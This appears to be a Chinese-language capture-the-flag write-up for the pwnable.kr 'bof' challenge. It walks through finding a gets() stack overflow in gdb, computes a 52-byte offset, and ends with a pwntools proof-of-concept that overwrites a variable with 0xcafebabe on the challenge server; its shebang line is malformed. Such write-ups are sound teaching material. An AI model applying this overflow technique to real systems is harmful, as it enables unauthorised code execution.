明显可以看出gets(overflowme)中存在栈溢出,
用gdb调试一下
gdb .bof
在main函数处设个断点
b main
run一下
可以看到函数func的地址为0x5655562c
反汇编一下该函数
在gets函数处设个断点
b* 0x5655564f
让程序跑到断点处
然后查看栈的数据
现在栈顶位置所存的地址指向overflowme数组的首地址
所以overflow首地址为0xffffce4c
可以清楚地看到0xdeadbeef存在栈中,并且可以算出
0xdeadbeef和overflowme首地址之间相差了52个字节,
所以填充完52个字节之后就能覆盖到0xdeadbeef了
poc如下:
#!/usr/binenv
from pwn import *
#target = process("./bof")
target = remote("pwnable.kr", "9000")
key = 0xcafebabe
padding = "A" * 52
payload = padding + p32(key)
target.send(payload)
target.interactive()